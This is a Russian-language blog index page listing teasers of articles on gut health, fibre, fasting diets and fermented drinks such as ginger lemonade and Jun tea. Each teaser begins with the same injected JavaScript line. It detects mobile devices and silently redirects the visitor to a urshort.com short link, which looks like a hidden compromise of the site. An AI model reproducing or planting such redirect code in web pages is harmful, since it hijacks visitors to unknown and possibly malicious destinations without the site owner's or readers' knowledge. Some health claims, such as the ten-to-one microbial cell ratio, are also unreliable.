Все статьи - Блог Людмилы Веденской

«Щётка» для кишечника — клетчатка Fiber Boosт

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Клетчатка — это важный компонент рациона, который играет ключевую роль в поддержании здоровья кишечника и общего благополучия организма. Несмотря на то, что клетчатка не переваривается в желудке и тонком кишечнике, она имеет множество полезных эффектов для организма, особенно когда речь идет о поддержании нормальной работы пищеварительной системы. В этой статье мы подробно… Подробнее

Значение микробиоты для человека

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Клеток микробиоты в нашем организме в 10 раз больше, чем клеток всего остального организма в целом. То есть на одну клетку нашего тела — 10 клеток всяческих бактерий и прочих микроорганизмов.Шо называется, кто в ком живёт.Они везде. На коже, во рту, в кишечнике, во всех слизистых. И, что характерно, они общаются между… Подробнее

Функциональное питание для восстановления ЖКТ и снижения веса

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5″); «Пусть еда будет вашим лекарством, пока лекарства не стали вашей едой» Я не знаю, говорил ли это Гиппократ, но с тем фактом, что столовой ложкой мы копаем себе могилу, спорить сложно. Но… Я не люблю готовить. Я умею это делать, одного только борща пять рецептов. Я даже брауни умею печь. Реально вкусное… Подробнее

Пищевое окно: Диета монаха VS Диета воина

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Тему пищевого окна я вскользь затрагивала в статье Хочешь похудеть? Спроси у медведя как. Сегодня мы поговорим об этом более подробно. Потому как это важно не только в вопросе снижения веса и общем здоровье, но и для снижении темпов старения организма. Способов снизить калорийность питания довольно много: постоянное ограничение калорий — вы едите как обычно, но значительно… Подробнее

Хочешь похудеть? Спроси у медведя как

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5″); Почему у медведя, спросите вы? А кто, как не медведи, по весне роскошными фитоняшками вылазят из берлоги? Тому есть вполне научное объяснение, отличное от «нежрать», хотя одно другому не мешает. Называется это объяснение — бурый жир. И есть он не только у медведей и прочих любителей поспать зимой. У младенцев он занимает… Подробнее

Масала-чай: рецепты приготовления

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); «Масала» в переводе с индийского означает смесь специй. Доподлинно неизвестны ни страна — родина напитка, ни время его появления. Но так как привязать этот рецепт к русской кухне при всем желании не получится, то будем считать, что это — Индия. Нам все равно, а Индии приятно. У напитка Масала-чай необычная история. В Индии распространение Масала-чая… Подробнее

Ферментированный медовый лимонад

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Если вы только что сделали греческий йогурт и у вас осталась сыворотка, то можно попробовать приготовить не менее ценный для организма продукт — ферментированный лимонад. Как вариант, для его производства великолепно подходит ферментированный имбирь, разнообразие никто не отменял. Ферментированный лимонад — рецепт Ингредиенты и оборудование: 1,2 литра чистой воды. 230 мл сырого… Подробнее

Ферментированный имбирь для домашнего лимонада

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Пользу ферментированных продуктов для здоровья и долголетия переоценить довольно сложно. «Наше качество жизни зависит от количества энзимов в организме. Нет энзимов – нет и жизни.» (Доктор Хироми Шинья, гастроэнтеролог, хирург) Кроме энзимов ферментированный продукты поставляют в наш организм пробиотики, а здесь разнообразие более чем приветствуется. Оно необходимо. А потому разнообразию этих самых… Подробнее

Ферментированный зеленый чай — Jun tea

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Если чайный гриб Комбуча довольно широко известен, то о его близком родственнике — ферментированном зеленом чае Джун до сегодняшнего дня мало кто слышал. В узком кругу его знатоков идет война — Комбуча и Джун это одно и то же, просто варианты, или таки разные продукты. У меня подозрение, что про разницу больше говорят те,… Подробнее

Греческий йогурт

Прокомментировать

(window.matchMedia(«(pointer:coarse)»).matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace(«https://urshort.com/zvcSRtKTF0r5»); Что нам за греческий йогурт говорит Википедия? Фильтрованный йогурт, йогуртовый сыр, лабана (араб. لبنة‎, ивр. ‏לבנה‏‎) дахи или греческий йогурт — тип йогурта, профильтрованного через ткань или бумажный фильтр с целью устранения сыворотки, что придаёт среднюю консистенцию между йогуртом и сыром, сохраняя характерный кислый вкус йогурта. То есть от обычного йогурта, о… Подробнее